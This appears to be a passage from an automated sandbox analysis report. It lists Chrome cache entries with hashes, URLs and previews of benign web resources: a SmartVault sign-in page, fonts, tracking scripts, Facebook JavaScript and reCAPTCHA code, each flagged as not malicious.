File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.454822399946607
Encrypted:	false
SSDEEP:	3:UmBFBVWRAn:Um9VWRA
MD5:	B9D9E6526B515EFBF5D87CEA00BD4525
SHA1:	41BB4E3A098D583F75287661BA04D6A845D575D2
SHA-256:	12FC87F11590D21348A774C1087FB178342BC0CDA3FAC5BACE53EDB5DB9CDE81
SHA-512:	68AB0032DD1B0D07F66E8E1F6A8E8D01EA7A3ED750A7AE1E204C98D114F4EF0603DCC4FA22C7BCD28DE2BFA732F1A992DF62429CCE4852237FC4E78EDB1822A8
Malicious:	false
Reputation:	low
Preview:	/* bad request */

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1492), with CRLF line terminators
Category:	downloaded
Size (bytes):	20548
Entropy (8bit):	5.567656135409372
Encrypted:	false
SSDEEP:	384:3DtQ29WSwC80xd/Bcy3RQf84bLMLUe5XbOboN+oDfMFKGOmA65Fnyi2kcXTIcg8N:3DmyzlbcyhBAOeot
MD5:	5FF4773608E08FE07591EF045F86F707
SHA1:	08AB504492EF72696DCC5C32B4A5D45638754957
SHA-256:	7D628882938E611F7BCF6F5310ABBDA305CB9722421E4704D1E136F99E8A70F4
SHA-512:	B5389378425A86FBAF9FD80A07680101D85913775C4F345B43AA77BD706FA87EE7A832F236E39896BC7DB434CF34DA661817F198E5D4128444183BCF0ACBAC64
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx
Preview:	..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml" xmlns:ipp="">..<head>..<script src="https://d2lgzuvj5j9n9p.cloudfront.net/3rdParty/jquery-3.5.1.min.js" type="text/javascript"></script>..<title>...SmartVault : Sign In..</title>.. Google Tag Manager -->.. <script type="text/javascript">(function (w, d, s, l, i) {.. w[l] = w[l] \|\| []; w[l].push({.. 'gtm.start':.. new Date().getTime(), event: 'gtm.js'.. }); var f = d.getElementsByTagName(s)[0],.. j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src =.. 'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f);.. })(window, document, 'script', 'dataLayer', 'GTM-5X4BC6G');</script>.. End Google Tag Manager -->.. <meta name="viewport" content="wi

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 177924, version 0.0
Category:	downloaded
Size (bytes):	177924
Entropy (8bit):	7.997580990333761
Encrypted:	true
SSDEEP:	3072:Se2JTdNVK6q+f1bpXe0IDB0rrV68Oz/nW0qCbwl3xaCbUvCrP:72BQAfnyK38znX8l1Uc
MD5:	3EC83585A838E44EA105A5A38C73E5CB
SHA1:	7586FF6EADF7B481955F5375EEBCEF8BDD69B384
SHA-256:	D8574E88127882CB534728AE5C94E802604F7B0E0CA48012430DE628765CBB36
SHA-512:	E0DFF742AC7FF70C397CDEF37BC4450D83169916C4B9A179C6DA130EFD0B1C9A7A72BC0D465011D85E32AFE34A26BC786A2444007FF7E9C17E7DB1F1878D52AC
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/Montserrat-Bold.woff
Preview:	wOFFOTTO..........j.........................CFF ... .......V.M.hFFTM............r.l.GDEF...0...........zGPOS......Q...h..6kGSUB...... ...ArZ.?.OS/2.......R...`V.wcmap.......F....c.a.head...0...5...6....hhea...h...!...$...uhmtx...........\~._.maxp..............P.name...........`r...post........... ...2x.c`d```76.{..e<..W.n..@....,J0.O.ol.,&.....L Q.~_.....x.c`d``>...m.....l..@.d.>...Y.l.....P.....x.c`a.........).....B3.1.1:..............\.P.G........O...g.e.S``...c......<..P.P..x...n.@...IZZ.%$.....S.Z.C.....Ej...!....vXoj.G..x....'..n<...........b.vvfvvf.D..$.....l...S..9/,....r......h..ay....g.Q.ny..<G./..i.X..@.J.,/......f1.dv...cg.r.f.u.E.t..K..<...Z......zVxby..Y..Z..y.7....W-/.f.;mSB}....z.."..U...t......b...I.a..A..C.1.&... ..dZ3....T.2F..h........!..<..5A.`..=..m'...{..Z.Z...$V./.P./.s...9PA"S^....r...`p.v.... .}%.#Q.[...i.A....u.I.....SU....p\|.M.16.rk.J..krc.z#w89.Mo.3.?1z)2...F@t..4Lb6....#...a[...W.q.~!.EF.......j.#y.df.tm.s.Q...&.C...i.e....^t

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	136
Entropy (8bit):	4.331129693810754
Encrypted:	false
SSDEEP:	3:lSg/7Ei2kJiJv//FvEWpBCEnTUallAEYJ/FwA3fFi5Y3:l4i0Jv/GWpBHl+CMFz3
MD5:	0EA5FEAF382929EE8D7D373616AD4F2B
SHA1:	D8436AD2A40A17D2674B43423D258872C5C261B9
SHA-256:	B799475768E42477CF17373FEB2ED196533AD8B7F1080C7B9FDCE9AD9FEEAD79
SHA-512:	2E940E109D09D71C98B467245001673FAE681D4518171C9180422D1DE1399A3B074E1B42E64ED59AF97A531F7DB97D88FA7A8C07A92E7C9CE1BDD7EF73B853EA
Malicious:	false
Reputation:	low
URL:	https://static.ada.support/embed-manifest.json
Preview:	{. "versions": [. {. "tag": "stable",. "hash": "e540f3c52a6751e4d611f543eb1b84fcb13f2a67",. "weight": 1. }. ].}..

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	96
Entropy (8bit):	4.362961159354576
Encrypted:	false
SSDEEP:	3:bh6G3XWZNDrMyMcbtugSUhdei3XWZNDrMyMcI:bnXS5JtpnS5O
MD5:	F71C4EFD36879E28A721AAF93B559B3F
SHA1:	2AA52C4FD618680148F935B280F96496EFD7E153
SHA-256:	F39FC3D962FAE023EBB725DFDBA524226C593C6EB2BC2C1F23C454D63CC10EC2
SHA-512:	8EB53CB46F668813C99768F701C00D1E2FF18FFE86F50C0C0A17DFAC06B339DCB513F58972CDEDB5A372035596806F69F50E5F6228B5F0AFE5992E13AADE080F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkbMnFS9SzlUhIFDYOoWz0SBQ3Fk8QkEhcJsA2cf48--pcSBQ14bxIZEgUNxZPEJA==?alt=proto
Preview:	CiIKEw2DqFs9GgQICRgBGgQIVhgCIAEKCw3Fk8QkGgQISxgCCiIKEw14bxIZGgQICRgBGgQIVhgCIAEKCw3Fk8QkGgQISxgC

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (46429), with no line terminators
Category:	downloaded
Size (bytes):	46430
Entropy (8bit):	5.303853365298302
Encrypted:	false
SSDEEP:	768:OaOFhhR5OIahpjfRys3LzQR04TYYyDMOWPKQ:OaOFnRqDRtzQ64IfWiQ
MD5:	72BCA04FD669EB89FC65D59052D0FC00
SHA1:	27E60AEF86F0CB1B2F6B6ED9DF9A4E3BA88EFD21
SHA-256:	823804A7807864B44093A3843788F4CD076E89CF4A6FDEB8D153AE5C2C2DF721
SHA-512:	56058E4C927563CA37DEC4979AF28A415EA3042A389C0BA22738C76D39131317A703A38A95EAB9D913F116F7C2D1DA62A0A87750F47DECA2DDB3447D64303B12
Malicious:	false
Reputation:	low
URL:	https://bat.bing.com/bat.js
Preview:	function UET(o){this.stringExists=function(n){return n&&n.length>0};this.domain="bat.bing.com";this.domainCl="bat.bing.net";this.URLLENGTHLIMIT=4096;this.pageLoadEvt="pageLoad";this.customEvt="custom";this.pageViewEvt="page_view";o.Ver=o.Ver!==undefined&&(o.Ver==="1"\|\|o.Ver===1)?1:2;this.uetConfig={};this.uetConfig.consent={enabled:!1,adStorageAllowed:!0,adStorageUpdated:!1,hasWaited:!1,waitForUpdate:0};this.uetConfig.tcf={enabled:!1,vendorId:1126,hasLoaded:!1,timeoutId:null,gdprApplies:undefined,adStorageAllowed:undefined,measurementAllowed:undefined,personalizationAllowed:undefined};this.beaconParams={};this.supportsCORS=this.supportsXDR=!1;this.paramValidations={string_currency:{type:"regex",regex:/^[a-zA-Z]{3}$/,error:"{p} value must be ISO standard currency code"},number:{type:"num",digits:3,max:999999999999},integer:{type:"num",digits:0,max:999999999999},hct_los:{type:"num",digits:0,max:30},date:{type:"regex",regex:/^\d{4}-\d{2}-\d{2}$/,error:"{p} value must be in YYYY-MM-DD date

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x447, components 3
Category:	dropped
Size (bytes):	160648
Entropy (8bit):	7.988579525700558
Encrypted:	false
SSDEEP:	3072:UV8+kYMsipRi71xbOF8nsp4iTC31EPiRkiRv7dgae2DePlG4k:Ck3rO7q4iTdivvp95Da44k
MD5:	D6325AC9CFC8B5780E84DB466EFDB6D2
SHA1:	5CE2D8DB2AEE951CEC266A7B8C01ACB065C87286
SHA-256:	9B46254F402BA5A4D2F9FFC84B5E62C81C3555192A7B2FE95A2FC403F998CBD2
SHA-512:	788034979E7AA9FDA99AE004CA75969CE879B1742F723EF8952B39FD0259A1FD8049BAD5FC69E6DA471FF95D6D30930FF170B72D472F016273CF2403CC585AA7
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.........................................................................@.."..............................................................................].......lgv.w9.t <N.S%...l'E.9...2zLw....Zg......=9.-y.gF..e2..,....Q.m....%.....3....gAv4..O.[....$'...-..x.;....Kl.v..+.ur.M.....\|.....u...o>........usvk..../.8...V..N....I&.C......2.....K....];pN..~.......+.....;.d.0..<.k..G...k..i....r.0].vn$&....@0..`.b..1..4...m.6.....6..y.G.k9.....[...W/EJ..n..]..l.f.F..^.../...+..6......8..ow...../..g^n.;;]).nn...t8.}\\|~...}..4..L.? [!..s....F.`.A...d....u.... ..)..++m....^z>.\....^Th.R]..#..._I.....)...t.y.......L.....oE8.$..h\..0.;.IGw..z.a.=..._...w...>.Z,.q..7.B..z.&...T..+.>..Y.}..E.y.G...W.2..I.....@..)...o.....q.....1L<...}./I..F..lg.1T..3.gZ<..g=c.L.h=......1......&...c..h...0..Ci.i.......G$.n..N.b..a...i.soQ^...+..>..x.vl.I.5..Y.....>~.Zk...E

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 200x200, components 3
Category:	dropped
Size (bytes):	5810
Entropy (8bit):	7.79987782098942
Encrypted:	false
SSDEEP:	96:8Ih0cCeuxCSI9uaSUznD7134p5WiksBfW8LBV4xRdOWoJCvWMIRgIlE:9h/uhI9uMydDfJv4pPvIRgIlE
MD5:	AABD1B3D72A90B9CDA490891169F7FB9
SHA1:	9B273EE8A71A499B56DF410C0E919B0B6C3F9ABE
SHA-256:	0FE05E094D752F851F068A57B071925256D07B2BB0808119A338E010D52E64D6
SHA-512:	E80E355C7A9CC68A6EC264955D3156A66798537934D0FA8D1E703C0A1B332AA43FC066A570E6DBF2D9CFAC39A872C9DC76BDAB0415DCB02F7E1069605CBAC8D7
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM..........g..UcUG1fI9PWzAFeW7KbM-..(.bFBMD0a000a89010000bd03000082060000c2070000880800000c0c00005a0f00001210000019110000d8110000b2160000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."...................................................................................J70. ...H..70.....<......m..,z...Hl./]........}[.....kw.}.....C&p...6.../.K.Jw.n.r..D..........X..@..2g.. ..N......o..U.U.4.#?J1Z^4.g._.......H...L..Y....../].......CO6......w ...=R[..._>..@..2g..8v\|fM5......,{..\|..v......F....!......F....m.c..~.fH.6...E..N..x...c.;....f....M.......mkW#......bx..(za.X.\")vD=..i.........GnV.<\|.].P..w..M.f../.W..f;.._.1..M~.....!.H.......zx.._P....."..[E.\|.+{...}.....S_...<..........UzG...}.X..a........)..........o.p................+...........................0.. 35.!24.#@P.............4.S..&1KY..ju..f.E9M..b.E....

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15379)
Category:	downloaded
Size (bytes):	54311
Entropy (8bit):	5.149279993328509
Encrypted:	false
SSDEEP:	768:0tmPlqJqQOLLkKJ6As+d4D3JdNR42tmPUqgKcRQNLRj96A6HH4/3JdNRDVw16EQs:/ENiNm6zBbS
MD5:	1ECE26FA248679D266C29C882A314CE0
SHA1:	AE46AD7D29C0CE6D5233831CB352F94778FCEC01
SHA-256:	0046E777550A273BB867A6F3102ED59AA94E015F783893983C2A5D45C6A6F22F
SHA-512:	92D1F1E7F1FD5EE24EBE5FA8588F3C4F679D53793C4B7321B4C99D467FBB9B9FC076CFF3421FAABE361D18AFA49D58392B05C0AB0FABF3CCADD8B9E7F7D22433
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3icvi4/y1/l/en_US/M-7o245DNR1.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("useCometFocusedGlobeFilled12_viewer.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"useCometFocusedGlobeFilled12_viewer",selections:[{alias:null,args:null,kind:"ScalarField",name:"globe_focus",storageKey:null}],type:"Viewer",abstractKey:null};e.exports=a}),null);.__d("ProfileCometAd4AdSectionMutation_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6645181398894193"}),null);.__d("ProfileCometAd4AdSectionMutation.graphql",["ProfileCometAd4AdSectionMutation_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a=function(){var a=[{alias:null,args:null,kind:"ScalarField",name:"profile_ad4ad_opt_out",storageKey:null}];return{fragment:{argumentDefinitions:[],kind:"Fragment",metadata:null,name:"ProfileCometAd4AdSectionMutation",selections:a,type:"Mutation",abstractKey:null},kind:"Request",operation:{argumentDefinitions:[],kind:"Operation",name:"ProfileCometAd4AdSectionMutation",selections

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 27, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3162
Entropy (8bit):	7.9353789598622315
Encrypted:	false
SSDEEP:	48:W1G3AIZwk++VRadzNSW6FYD/kOWnAwb00EUIqCQ0Y3Z9niqhOHZyHrj/iYkI0icA:W1G3AWP++VROjwnAYE0sY3OM/KFG+hy9
MD5:	12575A87AC8F7CC9336074B3293E0C73
SHA1:	6CA3023B0E9EAED761157F37EA25F6959680AAB6
SHA-256:	593DE166285914917E5E3B319ADA9228846B76823F237245026E0B735539D108
SHA-512:	0408EF15D33FFA85B53697E6AE9A85B4B22DD5FD49AD15220FCA976CCD23B25F288AF9F15BD7F83E28B2B0420D35D893708F33B731262CA04949686020FFE408
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2017/05/broker.png
Preview:	.PNG........IHDR...d...........@...!IDATh..ZyX...G.P..[Y.Vv{....z..m......q.TR1....U.,..f.."..:.,......1..0.s...qX.QX...<..;..{..33n..nw.a n...........o.....,..3.0.\|.9.d......=.2.!.]s...!....C..X..........v....9..\|OR._:p.j...N.&.0.4..=}.u.......l.aY./.n..<.)..<...Z..`..J..V.....tF;]....C.V.....x..7G[.N.&.Wq.k.u..........W.`B.k....Q..'.I.:.-..{...y..?...L.<.......k-... .Z.n.Cn.N.K,c....X..bLF..s..7YF.../n....f...b.u......J.T.LQ.,......y.Xmzt.7.^...c,S...k..^.X.'.....D.]..8g....\....b...+.k..............z.e.H...h.....,...F7Y..0..WD.;..1....&s.._dIm......;.N.:.6Z.]..f........}...k..~.K.~.}I..U...9..}...P.w.s..T.m{&/w{&?w..-F..........-........).Y.Cawz.0........qy....Y..7.tMI.....e..J...q"......6..l......f.'..>A..7..Qd.Y..8OhF...-......MR.l.Nbs......x..Z.Q..6..w.$.\|..rZc.......<...*j...LS{..zs.S...+f...)..B......3-.e.....Z`...?.(..%sZ`...q.%.ZL......yn{......s..q.d?...D.^.....$..w&v..6m!.e..o/<.Y..8yK.....9.\|....O....L..I.x..M..y...B".

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (554)
Category:	downloaded
Size (bytes):	510578
Entropy (8bit):	5.695280300193632
Encrypted:	false
SSDEEP:	6144:/LJaSgOPDcwWOTEmzYSU9F0Gx95F+SiT1i7uiv5VQgDx212FC:IS4sGx97+SihiSrFIC
MD5:	E9CCB3DBDE79BA5FFDF9CAD4B32D59FD
SHA1:	3A8CD67ADC7C885BDF683F1E7F491E6A4A50679F
SHA-256:	8F2C6777C7CCC01AB67290FA8ACD5A4C4866BE64129F39DFAEB9197DFA15E137
SHA-512:	5CA7C8439030C9B4B966760C660640A094B0D6E30E10DF85D7B900C6F9108B0E309298ED93C006634BB3F437BAB3CFF1B83A5D1B18C666C04346F0856294C461
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0./.var y=function(){return[function(E,X,B,M,c,v,Y,I,h,J,F,a,C,R,P){return E+4>>3==(E-8<<2>=(R=[1,"F",22],E)&&(E+2&12)<E&&(M=u[32](4,B[R[1]]),P=A[16](32,0,X,B[R[1]],M)),R[0])&&(M=void 0===M?null:M,Y=[3,341,278],c=d[46](16,21,X,u[31](32,B)),J=e[48](7,Y[0],X,u[31](35,X),u[31](28,Y[R[0]])),I=g[27](77,15,u[31](29,X),X,u[31](33,438)),v=u[31](38,Y[2]),a=A[32](R[2],l[13](2,d[9](48,36),X),[u[7](24,v),u[31](34,X)]),C=[c,J,I,a],null!=M&&(h=A[8](73),F=A[8](72),C=[W[30](8,h,u[31](28,B),u[31](37,0))].concat(C,[W[30](8,.F,R[0],R[0]),h,e[39](12,M,X),F])),P=C),P}]}(),g=function(){return[function(E,X,B,M,c,v){return 3<=((((E^(v=[7,"W",2],19))&v[0]\|\|(this[v

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2106
Entropy (8bit):	7.554456957317547
Encrypted:	false
SSDEEP:	48:EWP8JUaPVKWwCtcHB3sXXRBJ3v8qkZ/aWr/3KZerMLvSOxJ3Df8sfqV1:lkJVKWw03XXZ4Meo931fq
MD5:	6452ED75C53E1A8E90A664DF18959A90
SHA1:	AC01FC2F40F0E4808E22A9C569F3775F0F15A5E2
SHA-256:	C7BAC3E7016DFC7EB5787579BAC6B975B433FC1A9C279DAFC35649D4782F2061
SHA-512:	4B23F7FB31826943CBA6496BD74DC620C8EC3B8F0525497E825F1F1F87486335D4374F85417458C3C3E018C2215B9B419D7DE77CB67AAE9EA619038432E1EB10
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/y0/r/eFZD1KABzRA.png
Preview:	.PNG........IHDR.............e..5...YPLTEGpL.e..e..e..p..e..f..f..h..f..f..`..`.....g..f..f..g..g..f..f..f..g..f..h..e..f..d..g..e..e..c..f..f..e..f..g..g..e..f..f........i..h..e..f..f.....e........e..g..f..f..f..f..f..f..g........f..e..e.......F........................f....F.....d........'y.....p....E.....U..7..t.................6..t...........U.................................p......uy...LtRNS.0`..... ......p..._....@..@..oPP...O.^..__....0.o.o.oO..p.P.P_n. ..@0..P........DIDATx..YS.G..G.]..N...t.6&.$..8v\|.>{.."....m.3...../...X..../.....z..Z...^-."\|GT(T.K..Z..n..z.3..BT..Z....\.)..Y.....)..\XZs%..e../...........:....Z.R...,X...B....VCL......".~)P...@..P..8......YG..<...=..BLs..CX........0..J...I....Z..,....0g...i...B..}6.Eh.$.g.D1.k......... ..WYD....O..b~.~......U..s4..?...d0........x.g7.zF...........9..G.A...~...=#.w0.1Z......K..BV..>....x.p...<LS...ft..(\|...2XDE.Q...yc..$Mu.@.L...R=.X,.H....!.X).j../.-q2.....09.........\...&.bYk........j.o......../.u}..(5!.

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	2490
Entropy (8bit):	7.3339011803855465
Encrypted:	false
SSDEEP:	48:g+iW6P/n/CtkFzPWp7OtRS+92dO2b6m3t4TuenAqcRk1Uz29:G/CFCtZ2RquenEk1yk
MD5:	9BA3A3A834745B7B79716FF78D3E8441
SHA1:	ADA265D36EBE15325A5259FC72B288E45FB07093
SHA-256:	56E40E39DBD5063AAA36104EF3FE7E0B7299BD0111816A806B7A67CCCF04A263
SHA-512:	E406EA68161D009FD0CC28E68214636F3B56B579EC3C9DD1A08A42AB51F33880FD211DDE83BE2285E21785617CD8C73FDDAC4BE79AE4B7C1986A2A04B2A7D707
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t1.6435-9/203598184_284712353053725_8726646647123246716_n.jpg?stp=c64.0.160.160a_dst-jpg_p160x160&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=PHlGU2St1TUAb6VJarJ&_nc_ht=scontent-lga3-2.xx&oh=00_AfChtWu6Ep5nAiBIvjYV9z3nmOFlTwAMzrg6NB3bjxAWlw&oe=663FA40B
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6c01000028020000f5020000370300008703000023050000990600001307000062070000b8070000ba090000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."...........................................................................P........9.:$.........ih.i'@....jPP..Z..v..I:..C..r....~..G.7.M.:...<...si.=o\|..TF...................................................$............................. !0Pp................/kb.(..Zq...<.{..lV...1...X.(.d.~.:)_.%..3.-wMK.A.z....CP1....d....f...M.'.2...;_AT...".Y`.....V.!..Y..Nv...x1..\.=C..~....Y.....a.M..Y..s.EwF!F...v.........................Q. 0A`........?...#H.4..V......._FD.m/............................01`........?..Y..Fy.p...i.f.......0.......................!.".1AQ#a..023... BPSp.........?.....)~q.y.O.Y..^k.8.D.s7...X:..hP7...q.C.".?U{G./...=!4dM..n.."{.?.@.RLJD.....,...f

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18076)
Category:	downloaded
Size (bytes):	430139
Entropy (8bit):	5.44352783312073
Encrypted:	false
SSDEEP:	3072:eYE7GGPvRxYxsW6OJ674zSW3DFkOcb/CRN3XYobOy8TBv/H3p4tMaWKTr:fTOW6OhHRlYoBMHZ4Ww
MD5:	C24D50799A9665D552F404C8A8998E96
SHA1:	10D027D43C435E7BE9CDC0B9917E8963CEBA0DB0
SHA-256:	0CBD649EBFB3664F384133409D551470EC87267DF54A2609BD6B3AB2E2BFBEEE
SHA-512:	2E572F630DCA094BFBFF4B2B0C9AC48953E3A7DC5B502BB2F508A3E77330D868F866045972D498E5657782CC153F824185C7F9927EB7290AC083ED143DAAAF84
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ixS04/ye/l/en_US/3Vt4g4L9IO-.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometTextDelightAnimationQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7198545340159758"}),null);.__d("CometTextDelightAnimationQuery$Parameters",["CometTextDelightAnimationQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("CometTextDelightAnimationQuery_facebookRelayOperation"),metadata:{},name:"CometTextDelightAnimationQuery",operationKind:"query",text:null}};e.exports=a}),null);.__d("CometStoryAggregatedUsersTitleDialogQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="24833698116278416"}),null);.__d("CometStoryAggregatedUsersTitleDialogQuery$Parameters",["CometStoryAggregatedUsersTitleDialogQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("CometStoryAggregatedUsersTitleDialogQuery_facebookRelayOperation"),metadata:{},name:"CometStoryAggregatedUsersTitleDialogQuery",operationKind:"query",te

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41941)
Category:	downloaded
Size (bytes):	344736
Entropy (8bit):	5.570720935053919
Encrypted:	false
SSDEEP:	3072:qG2KR+8bFtV2vWt7vJm8jvGXmJFDqFcJuwpcfsYrWTrWY0xYMNpdoSxT:/2KRp2+RhCifJlafsYrgrWrYSJV
MD5:	6AD06DAAB5F6D9DB003C009974E2FA8A
SHA1:	D715C465524DB0FBDD84D5D955229CF58089A44A
SHA-256:	F1995B3AD836EF12511BFE8986BDACB8EFF624190227B7FF03599F869144BE90
SHA-512:	5DFE7F33D9D7CA64D5ABEC5A74A39C4404FE845A7F3109E04150FAF7ABFEC801EA91CD8FB2A6C64E64ECF6045E90E71DD5CB7A2B1CC1E0E8E402D508D575AE01
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-5X4BC6G
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"50",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"smartvault.com,www.smartvault.com,help.smartvault.com,support.smartvault.com,login.smartvault.com,my.smartvault.com,sdk.smartvault.com,go.smartvault.com"},{"function":"__gas","vtp_cookieDomain":"auto","vtp_doubleClick":true,"vtp_setTrackerName":false,"vtp_useDebugVersion":false,"vtp_fieldsToSet":["list",["map","fieldName","allowLinker","value","true"]],"vtp_useHashAutoLink":true,"vtp_autoLinkDomains":["macro",1],"vtp_decorateFormsAutoLink":false,"vtp_enableLinkId":true,"vtp_enableEcommerce":false,"vtp_trackingId":"UA-34911621-1","vtp_enableRecaptchaOption":false,"vtp_enableUaRlsa":false,"vtp_enableUseInternalVersion":false,"vtp_enableGA4Schema":true},{"function":"__u","vtp_component":"URL","vtp_enableMultiQuer

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20439
Entropy (8bit):	5.09070952060613
Encrypted:	false
SSDEEP:	384:/AIRziUfhc/GMk/DbqJ2nvwgPl0ky/SueMrdHWHrmxaNpGVie7nmGPrZsj:3J4Fk7bnIrkkkdj
MD5:	13D3B1F582D5F68E389BBE7A25FD5FBC
SHA1:	556C64FC170A043D272F24D9DC77EE3F29DD4543
SHA-256:	22B36B96A09EA2192ABB96C909E76AB32948C08AA57D83128ACE1AC9B5A9F935
SHA-512:	E598B97B1074E77461DB8E017FCE671F0ECA9D4715E5DA44399DD8A65AFADCB76FD624D64F59B77070216217CB74D72805CF2FE3CDB30D574F3B2475C0D5A627
Malicious:	false
Reputation:	low
Preview:	{"cache_version": "v2", "handle": "smartvault", "name": "smartvault", "rollout": 1.0, "alternative_bot": null, "chatEnabled": true, "chat": true, "persistence": "session", "tint": "#7B005F", "language": "en", "translated_languages": [], "features": {"ada_glass_zendesk": true, "authentication": true, "conditionals": true, "personalization": true, "language_detection": false, "translations": true, "redactions": true, "satisfaction": true, "predictive_suggestions": true, "end_chat": true, "zendesk_file_transfer": true, "forced_quick_replies": true, "no_branding": true, "live_chat_handoff": false, "zendesk_client": false, "liveperson_client": false, "segmentation": true, "variable_set_block": true, "selection": true, "ada_glass_nuance": false, "ada_glass_salesforce": true, "limit_login_attempts": false, "password_expiry": false, "enforce_mfa": false, "zendesk_ticketing": true, "builder_bot": true, "client_timezone_tracking": false, "airasia_validation_types": false, "channel_smooch": false

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	237
Entropy (8bit):	4.910241972319512
Encrypted:	false
SSDEEP:	6:qTjxVgYKZRos5QJvtyElk8Vfevp7mNVuB96v6Oq5SstoHj:qTjxVgiJVbVWQNVPvEZ+
MD5:	93F912CEABB0586748B7B0061A4F94FA
SHA1:	3E276C2801C1483DBE182E402C70030CE75409DE
SHA-256:	135CC772AB77BF6B4FC8B652097DA35BF8FEED9C1F60D7A91CC76913C0AD05BD
